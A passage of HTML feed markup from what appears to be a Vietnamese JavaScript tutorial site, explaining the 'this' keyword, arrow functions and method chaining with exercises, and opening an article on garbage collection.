9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>This trong JavaScript không được "bind"</h2> <p>Khác với các ngôn ngữ lập trình khác, từ khóa <code>this</code> có thể dùng ở bất kỳ hàm nào (không chỉ là phương thức của object),.</p> <p>Ví dụ sau đây không bị lỗi cú pháp:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span></code></pre></div> <p>Giá trị của <code>this</code> được <strong>xác định trong thời gian chạy</strong>, phụ thuộc vào đối tượng gọi hàm, ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"John"</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// Sử dụng cùng 1 hàm cho 2 objects</span> <span class="gatsby-highlight-code-line">user1<span class="token punctuation">.</span>sayHi <span class="token operator">=</span> sayHello<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line">user2<span class="token punctuation">.</span>sayHi <span class="token operator">=</span> sayHello<span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"></span><span class="gatsby-highlight-code-line">user1<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex (this tương ứng với user1)</span></span><span class="gatsby-highlight-code-line">user2<span class="token punctuation">.</span><span class="token function">sayHi</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// John (this tương ứng với user2)</span></span></code></pre></div> <p>Bạn thấy rằng, tùy thuộc vào đối tượng gọi hàm là <code>user1</code> hay <code>user2</code> mà giá trị của <code>this</code> được xác định tương ứng.</p> <blockquote> <p>Điều này giải thích lý do tại sao <strong>this trong JavaScript</strong> không được "bind".</p> </blockquote> <p><strong>Nếu hàm <code>sayHello</code> trên được gọi trực tiếp không qua object nào thì sao?</strong></p> <p>Ví dụ gọi trực tiếp <code>sayHello()</code>:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="gatsby-highlight-code-line"><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></span></code></pre></div> <p>Trong trường hợp này, giá trị của <code>this</code> là <code>undefined</code> ở <a href="/use-strict-trong-js/">strict mode</a>. Nếu bạn truy cập <code>this.name</code> thì sẽ bị lỗi <strong>Uncaught TypeError: Cannot read properties of undefined (reading 'name')</strong>.</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="token punctuation">}</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Uncaught TypeError: Cannot read properties of undefined (reading 'name')</span></code></pre></div> <p>Nếu <strong>không sử dụng strict mode</strong> thì giá trị của <code>this</code> sẽ là <strong>đối tượng global</strong> (đối tượng <code>window</code> trên trình duyệt).</p> <p>Khi đó, <code>this.name</code> tương đương với <code>window.name</code> (thường là <code>undefined</code>).</p> <h2 id="arrow-function-không-có-this" style="position:relative;"><a href="#arrow-function-kh%C3%B4ng-c%C3%B3-this" aria-label="arrow function không có this permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Arrow function không có this</h2> <p><a href="/arrow-function-la-gi-arrow-function-trong-js/">Arrow function</a> là một hàm đặc biệt, vì nó không có <code>this</code>.</p> <p>Nếu bạn truy cập <code>this</code> bên trong arrow function thì JavaScript sẽ hiểu <code>this</code> là đối tượng ứng với <strong>ngữ cảnh gần nhất bên ngoài có <code>this</code></strong> lúc gọi hàm.</p> <p>Ví dụ dùng arrow function:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">let</span> <span class="token function-variable function">arrowFunc</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></span><span class="gatsby-highlight-code-line"> <span class="token function">arrowFunc</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Alex</span></code></pre></div> <p>Trong ví dụ trên, ngữ cảnh gần nhất bên ngoài có <code>this</code> là phương thức <code>sayHello</code>. Mà trong phương thức <code>sayHello</code>, giá trị của <code>this</code> được xác định lúc gọi <code>user.sayHello()</code>.</p> <p>Do đó, <code>this</code> chính là <code>user</code>. Và kết quả là <code>this.name</code> bằng <code>user.name</code>.</p> <p><strong>Nếu phương thức <code>sayHello</code> được gán trực tiếp bằng arrow function thì sao?</strong></p> <p>Ví dụ:</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">name</span><span class="token operator">:</span> <span class="token string">"Alex"</span><span class="token punctuation">,</span> <span class="token literal-property property">age</span><span class="token operator">:</span> <span class="token string">"28"</span><span class="token punctuation">,</span> <span class="gatsby-highlight-code-line"> <span class="token function-variable function">sayHello</span><span class="token operator">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">,</span></span><span class="token punctuation">}</span><span class="token punctuation">;</span> user<span class="token punctuation">.</span><span class="token function">sayHello</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// undefined</span></code></pre></div> <p>Lúc này, ngữ cảnh gần nhất có <code>this</code> lúc gọi hàm là <strong>global</strong>. Trong trường hợp không dùng <strong>strict mode</strong> thì <code>this</code> chính là <code>window</code>. Vì vậy, <code>this.name</code> bằng <code>undefined</code>.</p> <blockquote> <p>Arrow function có nhiều vấn đề khác nữa cần quan tâm. Bạn có thể tham khảo bài <a href="/phan-biet-arrow-function-va-function-trong-javascript/">phân biệt arrow function và function</a> để hiểu thêm về arrow function.</p> </blockquote> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>Sau đây là một số kiến thức cần nhớ về phương thức của object và từ khóa <code>this</code> trong JavaScript:</p> <ul> <li>Hàm được gán cho thuộc tính của object gọi là <strong>phương thức</strong>.</li> <li>Trong phương thức, bạn có thể truy cập đến các thuộc tính khác của object thông qua từ khóa <code>this</code>.</li> </ul> <p>Từ khóa <code>this</code> trong JavaScript được xác định khi chạy chương trình:</p> <ul> <li>Khi định nghĩa hàm, <code>this</code> có thể được sử dụng. Nhưng lúc này <code>this</code> chưa có giá trị, cho đến khi hàm được gọi.</li> <li>Một hàm có thể được sử dụng trong nhiều object.</li> <li>Khi một hàm được gọi thông qua object dạng <code>object.method()</code> thì giá trị của <code>this</code> chính là <code>object</code>.</li> </ul> <p>Đặc biệt, <strong>arrow function không có <code>this</code></strong>. Giá trị của <code>this</code> trong arrow function được lấy từ ngữ cảnh gần nhất bên ngoài lúc gọi hàm.</p> <h2 id="thực-hành" style="position:relative;"><a href="#th%E1%BB%B1c-h%C3%A0nh" aria-label="thực hành permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thực hành</h2> <h3 id="bài-1" style="position:relative;"><a href="#b%C3%A0i-1" aria-label="bài 1 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 1</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token string">"use strict"</span><span class="token punctuation">;</span> <span class="token keyword">function</span> <span class="token function">createUser</span><span class="token punctuation">(</span><span class="token parameter">name</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token punctuation">{</span> name<span class="token punctuation">,</span> <span class="token literal-property property">ref</span><span class="token operator">:</span> <span class="token keyword">this</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token keyword">let</span> alex <span class="token operator">=</span> <span class="token function">createUser</span><span class="token punctuation">(</span><span class="token string">"Alex"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>alex<span class="token punctuation">.</span>ref<span class="token punctuation">.</span>name<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Kết quả của <code>console.log</code> là gì?</p> <div class="wrap-collapsible margin-bottom"> <input id="collapsible1" class="toggle" type="checkbox"> <label for="collapsible1" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p><strong>Kết quả:</strong> Uncaught TypeError: Cannot read properties of undefined (reading 'name').</p> <p><strong>Giải thích:</strong></p> <ul> <li>Vì giá trị của <code>this</code> được xác định tại thời điểm thực thi chương trình.</li> <li>Mà hàm <code>createUser</code> được gọi như một hàm bình thường, không thông qua object nào cả. Do đó, giá trị của <code>this</code> là <code>undefined</code>. Nói cách khác, <code>user.ref</code> trả về <code>undefined</code>.</li> <li>Trong <strong>strict mode</strong>, truy cập vào thuộc tính của <code>undefined</code> sẽ bị lỗi <strong>Uncaught TypeError: Cannot read properties of undefined (reading 'name')</strong>.</li> </ul> </div> </div> </div> <h3 id="bài-2" style="position:relative;"><a href="#b%C3%A0i-2" aria-label="bài 2 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 2</h3> <p>Triển khai object <code>calculator</code> với ba phương thức:</p> <ul> <li><code>read()</code>: sử dụng hàm <a href="/ham-tuong-tac-nguoi-dung-alert-confirm-prompt/"><code>prompt</code></a> đọc hai giá trị và lưu vào hai thuộc tính của object (giả sử người dùng nhập vào là số).</li> <li><code>add()</code>: trả về tổng của hai số đã nhập.</li> <li><code>mul()</code>: trả về tích của hai số đã nhập.</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> calculator <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token comment">// viết code trong đây</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> calculator<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">sum</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">mul</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible2" class="toggle" type="checkbox"> <label for="collapsible2" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">let</span> calculator <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token comment">// Phương thức read()</span> <span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số a:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">this</span><span class="token punctuation">.</span>b <span class="token operator">=</span> <span class="token operator">+</span><span class="token function">prompt</span><span class="token punctuation">(</span><span class="token string">"Nhập vào số b:"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">// Phương thức add()</span> <span class="token function">add</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">+</span> <span class="token keyword">this</span><span class="token punctuation">.</span>b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token comment">// Phương thức mul()</span> <span class="token function">mul</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">.</span>a <span class="token operator">*</span> <span class="token keyword">this</span><span class="token punctuation">.</span>b<span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> calculator<span class="token punctuation">.</span><span class="token function">read</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>calculator<span class="token punctuation">.</span><span class="token function">mul</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p><strong>Chú ý:</strong> hàm <code>prompt</code> trả về kết quả là string. Vì vậy, mình thêm toán tử <code>+</code> đằng trước để <a href="/chuyen-doi-kieu-du-lieu-trong-javascript/">chuyển đổi kiểu dữ liệu</a> về number, trước khi gán cho <code>this.a</code> và <code>this.b</code>.</p> </div> </div> </div> <h3 id="bài-3" style="position:relative;"><a href="#b%C3%A0i-3" aria-label="bài 3 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Bài 3</h3> <p>Cho đoạn code sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khởi tạo obj</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">count</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token operator">--</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">showCount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng obj</span> obj<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span><span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> obj<span class="token punctuation">.</span><span class="token function">showCount</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Hãy sửa lại các phương thức của <code>obj</code> để có thể gọi code theo kiểu:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">obj<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">showCount</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <div class="wrap-collapsible margin-bottom"> <input id="collapsible3" class="toggle" type="checkbox"> <label for="collapsible3" class="lbl-toggle">Xem đáp án</label> <div class="collapsible-content"> <div class="content-inner"> <p>Kĩ thuật này gọi là <a href="/tim-hieu-ki-thuat-method-chaining-co-ban/"><strong>Method chaining</strong></a>.</p> <p>Ý tưởng là: trong mỗi phương thức, bạn sẽ <code>return</code> về <code>this</code> (đối tượng hiện tại).</p> <div class="gatsby-highlight has-highlighted-lines" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// Khởi tạo obj</span> <span class="token keyword">let</span> obj <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">count</span><span class="token operator">:</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token operator">++</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token operator">--</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token function">showCount</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">this</span><span class="token punctuation">.</span>count<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="gatsby-highlight-code-line"> <span class="token keyword">return</span> <span class="token keyword">this</span><span class="token punctuation">;</span></span> <span class="token punctuation">}</span><span class="token punctuation">,</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// Sử dụng obj</span> obj<span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">increase</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">decrease</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">showCount</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Bạn hiểu là <code>increase()</code>, <code>decrease()</code> hay <code>showCount()</code> đều trả về <code>this</code> - chính là <code>obj</code>.</p> </div> </div> </div>[email protected]<![CDATA[Garbage collection trong JavaScript]]><![CDATA[Quản lý bộ nhớ trong JavaScript được thực hiện tự động và trong suốt với người dùng. Khi bạn khởi tạo dữ liệu nguyên thủy, object hay hàm... thì chúng đều chiếm bộ nhớ (RAM). Điều…]]>https://completejavascript.com/garbage-collection-trong-javascript/https://completejavascript.com/garbage-collection-trong-javascript/<![CDATA[Object]]>Wed, 17 May 2017 05:00:00 GMT<p>Quản lý bộ nhớ trong JavaScript được thực hiện tự động và trong suốt với người dùng. Khi bạn khởi tạo <a href="/kieu-du-lieu-trong-javascript/">dữ liệu nguyên thủy</a>, <a href="/object-la-gi-object-trong-javascript/">object</a> hay <a href="/ham-la-gi-ham-trong-javascript/">hàm</a>... thì chúng đều chiếm bộ nhớ (RAM).</p> <p>Điều gì sẽ xảy ra nếu một vùng nhớ không còn sử dụng? <a href="/javascript-la-gi/#javascript-engine-l%C3%A0-g%C3%AC">JavaScript engine</a> sẽ làm gì để phát hiện và giải phóng vùng nhớ đó?</p> <blockquote> <p>Bài viết này được dịch từ: <a href="https://javascript.info/garbage-collection">Garbage collection</a>. Bạn có thể tham khảo bài viết gốc nếu bạn thành thạo tiếng Anh.</p> </blockquote> <h2 id="khả-năng-tiếp-cận" style="position:relative;"><a href="#kh%E1%BA%A3-n%C4%83ng-ti%E1%BA%BFp-c%E1%BA%ADn" aria-label="khả năng tiếp cận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khả năng tiếp cận</h2> <p>Ý tưởng chính của việc quản lý bộ nhớ trong JavaScript là <strong>khả năng tiếp cận</strong>.</p> <p>Những giá trị "có thể tiếp tận" là những giá trị được lưu trong bộ nhớ theo một cách nào đó, để có thể truy cập và sử dụng.</p> <p>► JavaScript có một số giá trị là luôn luôn "có thể tiếp cận", nên chắc chắn không bao giờ bị xóa, ví dụ:</p> <ul> <li>Hàm đang thực thi, các biến cục bộ và tham số của hàm.</li> <li>Các hàm được gọi từ trong hàm khác, các biến cục bộ và tham số của hàm đó.</li> <li>Biến toàn cục.</li> <li>...</li> </ul> <p>Các giá trị này được gọi là <strong>root</strong> (gốc).</p> <p>► Các giá trị khác được gọi là "có thể tiếp cận" nếu chúng được truy cập từ <strong>root</strong> qua tham chiếu (địa chỉ) hoặc chuỗi các tham chiếu.</p> <blockquote> <p>Luôn có một tiến trình chạy ngầm trong JavaScript engine gọi là <a href="https://en.wikipedia.org/wiki/Garbage_collection_(computer_science)">garbage collector</a> hay <strong>trình thu gom rác</strong>. Garbage collector theo dõi toàn bộ object và xóa đi các object không thể truy cập.</p> </blockquote> <h2 id="ví-dụ-đơn-giản-về-garbage-collection" style="position:relative;"><a href="#v%C3%AD-d%E1%BB%A5-%C4%91%C6%A1n-gi%E1%BA%A3n-v%E1%BB%81-garbage-collection" 